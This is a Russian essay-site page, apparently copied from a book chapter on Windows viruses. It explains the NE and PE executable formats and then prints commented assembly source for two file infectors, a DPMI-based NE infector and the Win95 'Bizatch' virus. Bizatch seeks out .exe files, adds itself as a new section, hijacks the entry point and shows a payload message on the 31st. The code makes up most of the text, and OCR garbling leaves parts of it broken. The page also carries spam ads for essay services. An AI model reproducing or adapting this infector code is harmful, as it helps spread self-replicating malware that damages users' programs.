Доклад: Вирусы под Windows

Доклад: Вирусы под Windows




🛑 👉🏻👉🏻👉🏻 ИНФОРМАЦИЯ ДОСТУПНА ЗДЕСЬ ЖМИТЕ 👈🏻👈🏻👈🏻




























































В этой главе рассказано о вирусах, заражающих фай- лы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95, Представлены исходные тексты вирусов с подробными комментариями, Также приведены основные сведения о запускаемых фай- лах программ под Windows, их структуре, отличиях от файлов DOS,


В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про- грамм. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами - и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголов- ка. Первый заголовок (старый) - распознается DOS как программа, вы- водящая на экран "This program requires Microsoft Windows". Второй заголовок (NewEXE) - для работы в Windows (см. приложение).
Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для DOS и программы (STUB), которая выводит сообщение "This program requires Microsoft Windows".
Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE.
Заголовок NewEXE начинается с символов "NE". Далее идет собствен- но заголовок, в котором содержатся различные данные, в том числе ад- реса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней - все остальные таблицы, далее размещены собственно сегменты с кодом.
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.
4. CS:IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.
Для загрузки в память (надо перехватить вектор INT 21h из-под Windows) необходимо использовать функции DPMI (INT 31h). Дей- ствия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай- ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает.
;Сохраним регистры и флаги pushf pusha push ds push es
.Проверим, доступен ли DPMI. Если доступен, Продолжаем, если нет - выходим
;Восстановим регистры и флаги exit:
db OEAh reloclP dw 0 relocCS dw OFFFFh dpmi_exist:
;Выделим линейный блок памяти, используя DPMI mov ax,0501h mov cx,OFFFFh xor bx.bx int 31 h
;Сохраним индекс и 32-битный линейный адрес .полученного блока памяти в стеке
;Создадим дескриптор в таблице LDT хог ах,ах mov ex, 1 int 31 h
;B поле адреса полученного дескриптора .установим адрес нужного блока памяти
;B поле предела полученного дескриптора остановим размер выделенного блока памяти
;В поле прав доступа полученного дескриптора установим значение, соответствующее сегменту данных, доступному для чтения и записи
;3агрузим селектор в регистр DS. После этого регистр DS будет оказывать на выделенный блок памяти mov ds.bx
.Читаем из стека и сохраняем в памяти ;индекс полученного блока памяти
Получим текущую DTA mov ah,2Fh int 21 h mov [DTA],bx mov [DTA+2],es
;Найдем первый ЕХЕ-файл (маска *.ЕХЕ) mov ah,4Eh xor ex,ex
mov dx,OFFSET wild_exe push ds push cs pop ds int 21 h pop ds
;Если файл найден, перейдем к заражению, иначе освободим ;выделенную область памяти и запустим программу-носитель jnc found_exe
;0свободим выделенную область памяти call free
.Запустим программу-носитель jmp exit
.Перейдем к следующему файлу - этот не подходит close_exe:
;Найдем следующий файл mov ah,4Fh int 21h
;Если файл найден, перейдем к заражению, иначе освободим -.выделенную область памяти и запустим программу-носитель jnc found_exe
;0свободим выделенную область памяти call free
;3апустим программу-носитель jmp exit
;Файл найден, проверим его на пригодность к заражению found ехе:
;0ткроем файл для чтения и записи push ds
Ids dx, DWORD PTR [DTA] add dx.lEh mov ax,3D02h int 21 h pop ds
.Прочтем старый заголовок mov dx.OFFSET old_hdr mov bx.ax mov cx,40h mov ah,3Fh int 21h
;Проверим сигнатуру, это ЕХЕ-файл? cmp WORD PTR [old_hdr],"ZM" jne close_exe
[Проверим смещение таблицы настройки адресов.
;Если значение больше 40h, то это не обычный ЕХЕ-файл.
;что это NewEXE, потому^что это может оказаться
;РЕ-, LE-, LX-executable или другой
;типы ЕХЕ-файлов в этой книге не рассматриваются)
.Перейдем ко второму заголовку (может быть, это NewEXE?):
Переводим указатель к смещению, обозначенному в поле 3Ch
; Прочитаем второй заголовок mov dx.OFFSET newJ-idr mov ex,40h mov ah,3fh int 21h
[Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл cmp WORD PTR [new_hdr],"EN" jne close_exe
[Проверим, для Windows ли предназначен этот файл. Если да, будем ;заражать, иначе переходим к следующему файлу
.Переместим указатель чтения/записи в таблицу сегментов, ;к элементу, обозначающему сегмент точки старта программы. [Для этого прочтем значение регистра CS при запуске [этого ЕХЕ-файла
;По номеру сегмента вычислим положение соответствующего ему [элемента в таблице сегментов
;K результату прибавим смещение таблицы сегментов и смещение .заголовка NewEXE
[Переместим указатель чтения/записи mov ax,4200h int 21 h
[Прочтем из таблицы сегментов смещение логического сектора mov dx,OFFSET temp mov ex, 2 mov ah,3Fh int 21 h
.Вычислим смещение сегмента, опираясь на значения .смещения логического сектора и множителя секторов
.Переместим 16 старших бит 32-битного результата в регистр СХ mov cx,ax
;Прибавим к результату смещение стартового адреса (IP) add dx,WORD PTR [new_hdr+14h] adc cx.O
;Переместим указатель позиции чтения/записи на точку старта .программы - результат вычисления
;Считаем первые 10 байт после старта программы mov dx, OFFSET temp mov cx,10h mov ah,3Fh int 21 h
Проверим, заражен ли файл. Если считанные 10 байт в точности ;совпадают с первыми 10-ю байтами нашего вируса, файл заражен. ;В этом случае переходим к поиску следующего, иначе - заражаем
Приступим к заражению ok_to_infect:
Переместим NE-заголовок на 8 байт ближе к началу файла. ; Исправим соответствующие поля старого заголовка sub WORD PTR [old_hdr+10h],8
sub WORD PTR [old_hdr+3ch],8 sbb WORD PTR [old_hdr+3eh],0
; Исправим значения таблиц в новом заголовке, чтобы переместились ;только заголовок и таблица сегментов (без остальных таблиц)
;Сохраним оригинальные значения точек входа CS и IP push WORD PTR [new_hdr+14h] pop [hostJp]
pushTWORD PTR [new_hdr+16h] pop [host_cs]
;Добавим еще один сегмент в таблицу сегментов и установим ;точку входа на его начало
.Переместим указатель чтения/записи в начало файла ;(к старому заголовку)
;3апишем старый заголовок, так как модифицированы ;некоторые поля его копии в памяти
;Переместим указатель чтения/записи на начало нового заголовка (его переместили на 8 байт к началу файла)
;3апишем новый заголовок, так как в его копии ;в памяти некоторые поля модифицированы
.Переместим указатель чтения/записи на 8 байт ;вперед - к началу таблицы сегментов
рассчитаем размер таблицы сегментов и считаем ее в память mov dx,OFFSET temp mov cx.WORD PTR [new_hdr+1ch] dec ex shi cx.3 push ex mov ah,3Fh int 21h
Переместим указатель чтения/записи назад, к позиции ;за 8 байт перед началом таблицы сегментов
;3апишем таблицу сегментов в файл, но не на ее прежнее место, ;а на 8 байт ближе к началу файла
.Прочтем текущую позицию чтения/записи (конец таблицы сегментов) xor сх,сх xor dx.dx mov^ ax,4201h int 21 h
;Сохраним в стеке текущую позицию чтения/записи push dx push ax
.Получим длину файла, переместив указатель ^тения/записи в конец файла
;Сохраним в стеке длину файла push dx push ax
;Вычислим и сохраним длину логического сектора mov cx.WORD PTR [new_hdr+32h] mov ax,1 shi ax.cl mov [log_sec_len],ax
;Вычислим длину файла в логических секторах mov сх.ах pop ax pop dx div ex
-.Учтем неполный сектор. Если в результате получился ;остаток, увеличим количество секторов
;3аполним поля нового элемента в таблице сегментов mov [my_seg_entry],ax
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим из стека позицию в файле конца таблицы секторов pop dx pop ex
Переместим указатель чтения/записи к этой позиции mov ax,4200h int 21 h
.Запишем в конец таблицы новый элемент mov dx,OFFSET my_seg_entry mov ex,8 mov ah,40h int 21 h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме
;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой-то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
Инициализируем адрес точки входа mov si,OFFSET temp mov WORD PTR [si+reloc!P],0 mov WORD PTR [si+relocCS],OFFFFh
Переместим указатель чтения/записи на новую точку входа
.Инициализируем поля перемещаемого элемента mov WORD PTR [reloc_data],1 mov BYTE PTR [reloc_data+2],3 mov BYTE PTR [reloc_data+3],4 mov WORD PTR [reloc_data+4],OFFSET reloclP
;3апишем перемещаемый элемент mov dx,OFFSET reloc_data mov ex, 10 mov ah,40h int 21h
.Освободим выделенный блок памяти call free
;3апустим программу-носитель jmp exit
.Процедура, освобождающая выделенный блок памяти free PROC NEAR
; Маска для поиска файлов wild_exe DB "•ЕХЕ-.О
;Идентификатор, указывающий на конец инициализированных данных vir_end:
.Индекс выделенного блока памяти mem_hnd DW ? DW ?
;Место для хранения старого заголовка olcLhdr DB 40h dup (?)
.Место для хранения нового заголовка new_hdr DB 40h dup (?)
;Длина логического номера сектора log_sec_len DW ?
; Новый элемент в таблице сегментов my_seg_entry DW ?
.Перемещаемый элемент reloc_dataDW ?
;3начение оригинальной точки входа host_cs DW ? hostJp DW ?
;0бласть памяти для использования temp DB ? END
Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возмож- но, он станет доминирующим форматом ЕХЕ. Этот формат значитель- но отличается от NE-executable, используемого в Windows 3.11.
Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту табли- цу. В Windows 95, благодаря предусмотрительности фирмы-производите- ля Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти не- посредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress.
Как вызывать API, имея возможность вызывать его и в то же время та- кой возможности не имея? Ответ: вызывать API, расположение которо- го в памяти известно - это API в файле KERNEL32.DLL, он находится по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call CreateFileA После компиляции этот вызов выглядит так:
db 9Ah .инструкция call dd 7777
;смещение в таблице переходов
Код в таблице переходов похож на такой:
Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:
push function value call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан- дартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически - именно так и предполагалось. Но конкретное место его расположения в разных вер- сиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компен- сации этих различий добавлена проверка двух различных мест на нали- чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра- щает управление программе-носителю.
Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для August Release - по адресу OBFF93ClDh. Можно найти другие значе- ния функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL

Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не исполь- зует. Все API под Wm95 используют Pascal Calling Convention. При- мер - API, описанный в файлах справки Visual C++:
HMODULE hModule, // описатель DLL-модуля LPCSTR IpszProc // имя функции
На первый взгляд кажется, что достаточно лишь сохранить в стеке опи- сатель DLL-модуля (он стоит перед указателем на имя функции) и выз- вать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:
Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит полу- чить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.
Заражение файлов формата PE-executable


Определение положения начала РЕ-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адре- сов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu- table ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале но- вого заголовка.
Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в но- ситель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2. Считать достаточное количество информации из заголовка для вычисления его полного размера.
3. Считать весь РЕ-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный РЕ-заголовок в файл. Для определения расположения таблицы объектов следует воспользо- ваться значением переменной "HeaderSize" (не путать с "NT headersize"), которая содержит совместный размер заголовков DOS, РЕ и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Зна- чение "NTheadersize" показывает количество байт, следующих за полем "flags". Итак, для определения смещения таблицы объектов нужно по- лучить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется сме- щение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с исполь- зованием информации в предыдущем элементе (элементе носителя).
RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
Physical Size=(size of virus/File Alignment+1 )*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Теперь необходимо увеличить на единицу поле "количество объектов" и записать код вируса по вычисленному "физическому смещению" в размере "физического размера" байт.
include win32.inc некоторые 32-битные константы и структуры
;0пределим внешние функции, к которым будет подключаться вирус extrn BeginPaint:PROC extrn CreateWindowExA:PROC extrn DefWindowProcA:PROC extrn DispatchMessageA:PROC extrn EndPaint:PROC extrn ExitProcess.-PROC extrn FindWindowA:PROC extrn GetMessageA:PROC extrn GetModuleHandleA:PROC extrn GetStockObject:PROC extrn lnvalidateRect:PROC extrn LoadCursorA:PROC extrn LoadlconA:PROC extrn MessageBeep:PROC extrn PostQuitMessage:PROC extrn RegisterClassA:PROC extrn ShowWindow:PROC extrn SetWindowPos:PROC extrn TextOutA:PROC extrn TranslateMessage:PROC extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ
DispatchMessage equ
GetModuleHandle equ
szTitleName db "Bizatch by Quantum / VLAD activated"
[Сообщение, выводимое в окне szPaint db "Left Button pressed:" s_num db "OOOOOOOOh times.",0
;Сюда обычно передается управление от загрузчика. start:
call GetModuleHandle mov [hlnst],eax push L 0
push offset szClassName call FindWindow or eax.eax jz reg_class
.Пространство для модификации строки заголовка
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
push L IDLAPPLICATION push L 0 call Loadlcon mov [wc.clsHlcon], eax
.Инициализируем оставшиеся поля структуры WndClass mov [wc.clsHbrBackground],COLOR_WINDOW+1 mov dword ptr [wc.clsLpszMenuName],0 mov dword ptr [wc.clslpszClassNameJ.offset szClassName
;Регистрируем класс окна push offset we call RegisterClass
push L 0 .IpParam push [hinst] .hinstance push L 0 ;Меню push L 0 ;hwnd родительского окна push L CWJJSEDEFAULT ;Высота push L CWJJSEDEFAULT ;Длина push L CWJJSEDEFAULT ;Y push L CWJJSEDEFAULT ;X push L WSJ3VERLAPPEDWINDOW ;Style push offset szTitleName ;Title Style push offset szClassName ;Class name push L 0 ;extra style call CreateWindowEx
.Отображаем окно на экране push L SW.SHOWNORMAL push [newhwnd] call ShowWindow
;0бновляем содержимое окна push [newhwnd] call UpdateWindow
.Прочитаем следующее сообщение из очереди push L О push L О push L О push offset msg call GetMessage
;Если функция GetMessage вернула нулевое значение, то завершаем [обработку сообщений и выходим из процесса
Преобразуем виртуальные коды клавиш в сообщения клавиатуры push offset msg call TranslateMessage
Передаем это сообщение назад в Windows push offset msg call DispatchMessage
[Переходим к следующему сообщению jmp msgJoop
.Обработка сообщений окна. Win32 требует сохранения регистров
;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос". ;Это позволит Ассемблеру сохранить их WndProc proc uses ebx edi esi, hwnd;DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD LOCAL theDC: DWORD
[Проверим, какое сообщение получили, и перейдем к обработке cmp [wmsg],WM_DESTROY je wmdestroy
стр [wmsg],WM_RBUTTONDOWN je wmrbuttondown cmp [wmsg],WM_SIZE je wmsize
Данная программа не обрабатывает это сообщение. .Передадим его Windows, :чтобы оно было обработано по умолчанию jmp defwndproc
.Сообщение WM_PAINT (перерисовать содержимое окна) wmpaint:
Подготовим окно для перерисовки push offset Ippaint push [hwnd] call BeginPaint mov [theDC], eax
;Переведем в ASCII-формат значение mbx_count, которое доказывает, сколько раз была нажата левая кнопка мыши
;0бозначим завершение перерисовки окна push offset Ippaint push [hwnd] call EndPaint
; Выходим из обработки сообщения mov eax, 0 jmp finish
;Сообщение WM_CREATE (создание окна) wmcreate:
; Выходим из обработки сообщения mov eax, О jrnp finish
[Сообщение, не обрабатываемое данной программой, передаем Windows defwndproc:
[Выходим из обработки сообщения jmp finish
[Сообщение WM_DESTROY (уничтожение окна) wmdestroy:
[Закроем поток push L О call PostQuitMessage
[Выходим из обработки сообщения mov eax, О jmp finish
.Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши) wmlbuttondown:
[Обновим содержимое окна push L О push L О push [hwnd] call InvalidateRect
[Выходим из обработки сообщения mov eax, О jmp finish
[Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
; Выход им из обработки сообщения jmp finish
;Сообщение WM_SIZE (изменен размер окна) wmsize:
[Выходим из обработки сообщения mov eax, О jmp finish
[Сообщение WM_GETMINMAXINFO (попытка изменить размер ;или положение окна) wmgetminmaxinfo:
[Заполним структуру MINMAXINFO mov ebx, [Iparam]
mov [(MINMAXINFO ptr ebx).mintrackposition_x],350 mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
.Выходим из обработки сообщения mov eax, 0 jmp finish
[Выходим из обработки сообщения finish:
Процедура перевода байта в ASCII-формат для печати. Значение, [находящееся в регистре AL, будет записано в ASCII-формате ;по адресу ES:EDI HexWriteS proc
; Разделяем байт на полубайты и загружаем их в регистры АН и AL mov ah.al and al.OFh shr ah,4
[Добавляем 30h к каждому полубайту, чтобы регистры содержали коды [соответствующих символов ASCII. Если число,
;записанное в полубайте, было больше 9, ;то значение в этом полубайте надо еще корректировать or ax,3030h
.Меняем полубайты местами, чтобы регистр АН содержал младший .полубайт, а регистр AL - старший xchg al.ah
;Проверим. надо ли корректировать младший полубайт, .если да - корректируем
[Проверим, надо ли корректировать старший полубайт, ;если да - корректируем @@1:
;Сохраним значение по адресу ES:EDI @@2:
.Корректируем значение старшего полубайта @@3:
[Корректируем значение младшего полубайта @@4:
[Процедура перевода слова в ASCII-формат для печати. [Значение, находящееся в регистре АХ, будет записано ;в ASCII-формате по адресу ES:EDI HexWrite16 proc
;Сохраним младший байт из стека push ax
;3агрузим старший байт в регистр А1_ xchg al,ah
.Переведем старший байт в ASCII-формат call HexWrite8
; Восстановим младший байт из стека pop ax
Переведем младший байт в ASCII-формат
Процедура перевода двойного слова в ASCII-формат для печати. ;3начение, находящееся в регистре ЕАХ, будет записано ;в ASCII-формате по адресу ES:EDI HexWrite32 proc
.Сохраним младшее слово из стека push eax
; Загрузим старшее слово в регистр АХ shr eax, 16
[Переведем старшее слово в ASCII-формат call HexWrite-16
[Восстановим младшее слово из стека pop eax
[Переведем младшее слово в ASCII-формат
[Сделаем процедуру WndProc доступной извне public WndProc ends
[Здесь начинается код вируса. Этот код переписывается из файла ;в файл. Все вышеописанное - всего лишь программа-носитель vladseg segment para public "vlad"
db 2Dh ;Код команды SUB AX subme dd 30000h+(recalc-vstart)
[Вычислим стартовый адрес вирусного кода sub ebp.offset recalc
.Ищем KERNEL. Возьмем вторую известную нам точку KERNEL mov eax,[ebp+offset kern2]
Проверим ключ. Если ключа нет, перейдем к точке 1 cmp dword ptr [eax],5350FC9Ch jnz notkern2
mov eax,[ebp+offset kern2] jmp movit
;Точка 2 не подошла, проверим точку 1 notkern2:
;Возьмем адрес первой известной нам точки KERNEL mov eax,[ebp+offset kern1]
Проверим ключ, если ключа нет - выходим cmp dword ptr [eax],5350FC9Ch jnz nopayload
;KERNEL найден, адрес точки входа находится в регистре EAX movit:
.Сохраним адрес KERNEL mov [ebp+offset kern].eax eld
;3апомним текущую директорию lea eax, [ebp+offset orgdir] push eax push 255 call GetCurDir
mov byte ptr [ebp+offset countinfect],0
lea eax, [ebp+offset win32_data_thang]
mov dword ptr [ebp+offset searchhandle],eax
.Проверим, найден ли файл. Если файл не найден, .меняем директорию
[Откроем файл для чтения и записи gofile:
push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE
mov dword ptr [ebp+offset ahandj.eax
Проверим, не произошла ли ошибка. .Если ошибка произошла, ищем следующий файл
.Поставим указатель позиции чтения/записи на поле ;со смещением РЕ-заголовка
lea eax,[ebp+offset bytesread] push eax push 4
lea eax,[ebp+offset peheaderoffset] push eax
push dword ptr [ebp+offset ahand] call ReadFile
.Поставим указатель позиции чтения/записи на начало РЕ-заголовка push О push О
push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer
;Считаем число байт, достаточное для вычисления полного размера ;РЕ-заголовка и таблицы объектов
[Проверим сигнатуру. Если ее нет, закрываем ;этот файл и ищем следующий
cmp dword ptr [ebp+offset peheader],00004550h;
.Проверим файл на зараженность. Если файл заражен, ;то закрываем этот файл и ищем следующий
cmp word ptr [ebp+offset peheader+4ch],OFOODh
cmp dword ptr [ebp+offset 52],4000000h
[Поставим указатель позиции чтения/записи на начало РЕ-заголовка push О push О
push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer
;Считаем весь РЕ-заголовок и таблицу объектов push О
lea eax, [ebp+offset bytesread] push eax
push dword ptr [ebp+offset headersize] lea eax, [ebp+offset peheader] push eax
push dword ptr [ebp+offset ahand] call ReadFile
mov word ptr [ebp+offset peheader+4ch],OFOODh
[Найдем смещение таблицы объектов xor eax.eax
mov ax, word ptr [ebp+offset NtHeaderSize] add eax,18h mov dword ptr [ebp+offset ObjectTableoffset],eax
[Вычислим смещение последнего (null) объекта в таблице объектов mov esi,dword ptr [ebp+offset ObjectTableoffset] lea eax,[ebp+offset peheader] add esi,eax xor eax.eax
mov ax,[ebp+offset numObj] mov ecx.40
;Вычислим относительный виртуальный адрес (Relative Virtual Address ;или RVA) нового объекта
mov ecx.dword ptr [ebp+offset objalign]
;Вычислим физический размер нового объекта mov ecx.dword ptr [ebp+offset filealign] mov eax.vend-vstart xor edx.edx div ecx inc eax mul ecx mov dword ptr [ebp+offset physicalsize],eax
.Вычислим виртуальный размер нового объекта mov ecx.dword ptr [ebp+offset objalign] mov eax.vend-vstart+tOOOh xor edx.edx div ecx inc eax mul ecx mov dword ptr [ebp+offset virtualsize],eax
; Вычислим физическое смещение нового объекта mov eax,[edi-5*8+20] add eax,[edi-5*8+16] mov ecx.dword ptr [ebp+offset filealign] xor edx.edx div ecx
mov dword ptr [ebp+offset physicaloffset],eax
[Обновим размер образа (размер в памяти) файла
add eax,dword ptr [ebp+offset imagesize]
mov dword ptr [ebp+offset imagesize],eax
.Скопируем новый объект в таблицу объектов
mov ebx.dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax
[Установим значение, необходимое для возврата в носитель mov dword ptr [ebp+offset subme],eax
[Поставим указатель позиции чтения/записи на начало РЕ-заголовка push О push О
push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer
[Запишем РЕ-заголовок и таблицу объектов в файл push О
lea eax, [ebp+offset bytesread] push eax
push dword ptr [ebp+offset headersize] lea eax, [ebp+offset peheader] push eax
push dword ptr [ebp+offset ahand] call WriteFile
inc byte ptr [ebp+offset countinfect]
[Поставим указатель позиции чтения/записи ;по физическому смещению нового объекта
push dword ptr [ebp+offset physicaloffset]
;3апишем тело вируса в новый объект push О
lea eax,[ebp+offset bytesread] push eax
push vend-vstart lea eax, [ebp+offset vstart] push eax
push dword ptr [ebp+offset ahand] call WriteFile
[Переход к следующему файлу findnextone:
[Проверим, сколько файлов заразили: если 3, ;то выходим, если меньше - ищем следующий
cmp byte ptr [ebp+offset countinfect],3
lea eax, [ebp+offset win32_data_thang] push eax
push dword ptr [ebp+offset searchhandle] call FindNext
.Если файл найден, переходим к заражению or eax.eax jnz gofile
;Сюда попадаем, если файл не найден foundnothing:
lea edi,[ebp+offset tempdir] mov ecx,256/4 rep stosd
lea edi,[ebp+offset tempdirl] mov ecx.256/4 rep stosd
Получим текущую директорию lea esi,[ebp+offset tempdir] push esi push 255 call GetCurDir
;Получим текущую директорию lea edi,[ebp+offset tempdirl] push edi push 255 call GetCurDir
Проверим, корневая ли это директория. Если да, то выходим mov есх.256/4 rep cmpsd jnz infectdir
;"3аметаем следы" и выходим в программу-носитель outty:
;Возвратимся в оригинальную текущую директорию lea eax,[ebp+offset orgdir] push eax call SetCurDir
Проверим число. Если это 31-ое, выдаем сообщение cmp word ptr [ebp+offset day],31 jnz nopayload
; Выход в программу-носитель nopayload:
;Когда KERNEL будет обнаружен, его смещение будет записано kern dd OBFF93B95h
;3начения KERNEL, известные нам kern1 dd OBFF93B95h kern2 dd OBFF93C1Dh
;Чтение текущей директории GetCurDir:
;3апишем в стек значение для получения текущей директории и вызовем KERNEL
.Установка текущей директории SetCurDir:
;3апишем в стек значение для установки текущей директории и вызовем KERNEL
Проверим, какой KERNEL работает cmp [ebp+offset kern],OBFF93B95h jnz gettimekern2
;3апишем в стек значение для получения ;времени и даты и вызовем KERNEL
jmp [ebp+offset kern] gettimekern2:
;3апишем в стек значение для получения ;времени и даты и вызовем KERNEL
.Запишем в стек значение для вывода сообщения и вызовем KERNEL push OBFF638D9h jmp [ebp+offset kern]
;3апишем в стек значение для поиска первого файла ;и вызовем KERNEL
;3апишем в стек значение для поиска [следующего файла и вызовем KERNEL
[Открытие/создание файла CreateFile:
;3апишем в стек значение для открытия/создания файла ;и вызовем KERNEL
[Установка указателя чтения/записи SetFilePointer:
;3апишем в стек значение для установки .указателя чтения/записи файла и вызовем KERNEL
;3апишем в стек значение для чтения из файла и вызовем KERNEL push OBFF75806h jmp [ebp+offset kern]
;3апишем в стек значение для записи в файл и вызовем KERNEL push OBFF7580Dh jmp [ebp+offset kern]
;3апишем в стек значение для закрытия файла и вызовем KERNEL push OBFF7BC72h jmp [ebp+offset kern]
;Счетчик заражений countinfect db 0
Используется для поиска файлов win32_data_thang:
fileattr dd 0 createtime dd 0,0 lastaccesstime dd 0,0 lastwritetime dd 0,0 filesize dd 0,0
;Имя сообщения, выводимого 31-го числа boxtitle db "Bizatch by Quantum / VLAD",0
.-Сообщение, выводимое 31-го числа boxmsg db "The taste of fame just got tastier!",Odh
db "VLAD Australia does it again with the world"s first Win95 Virus"
db 9."From the old school to the new. ".Odh.Odh
db 9,"CoKe",0 messagetostupidavers db "Please note: the name of this virus is [Bizatch]"
Данные о директориях orgdir db 256 dup (0) tempdir db 256 dup (0) tempdirl db 256 dup (0)
Используется для смены директории dotdot db ".",0
Используется для получения времени/даты systimestruct:
;Индекс для поиска файлов searchhandle dd О
;Маска для поиска fname db "*.exe",0
; Описатель открытого файла ahand dd О
;Смещение РЕ-заголовка в файле peheaderoffset dd О
[Смещение таблицы объектов ObjectTableoffset dd О
[Количество записанных/считанных байт при работе с файлом bytesread dd О
oname db ".vlad",0,0,0 virtualsize dd 0 RVA dd 0
physicalsize dd 0 physicaloffset dd 0 reserved dd 0,0,0 objectflags db 40h,0,0,OCOh
Данные, необходимые для заражения файла peheader:
signature dd 0 cputype dw 0 numObj dw 0 db 3*4 dup (0) NtHeaderSize dw 0 Flags dw 0 db 4*4 dup (0) entrypointRVA dd 0 db 3*4 dup (0) objalign dd 0 filealign dd 0 db 4*4 dup (0) imagesize dd 0 headersize dd 0
;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов vend:

Название: Вирусы под Windows
Раздел: Рефераты по информатике, программированию
Тип: доклад
Добавлен 15:49:46 06 марта 2002 Похожие работы
Просмотров: 70
Комментариев: 16
Оценило: 4 человек
Средний балл: 5
Оценка: неизвестно   Скачать

Срочная помощь учащимся в написании различных работ. Бесплатные корректировки! Круглосуточная поддержка! Узнай стоимость твоей работы на сайте 64362.ru
Привет студентам) если возникают трудности с любой работой (от реферата и контрольных до диплома), можете обратиться на FAST-REFERAT.RU , я там обычно заказываю, все качественно и в срок) в любом случае попробуйте, за спрос денег не берут)
Да, но только в случае крайней необходимости.

Доклад: Вирусы под Windows
Книга: Сестринское дело в хирургии
Курсовая работа по теме Влияние налогообложения на формирование издержек предприятия
Курсовая работа: Термоиндикаторы
Дипломные Работы По Косметологии Бесплатно
Пособие по теме Геометрические построения на плоскости
В Таблице Представлены Результаты Контрольной Работы
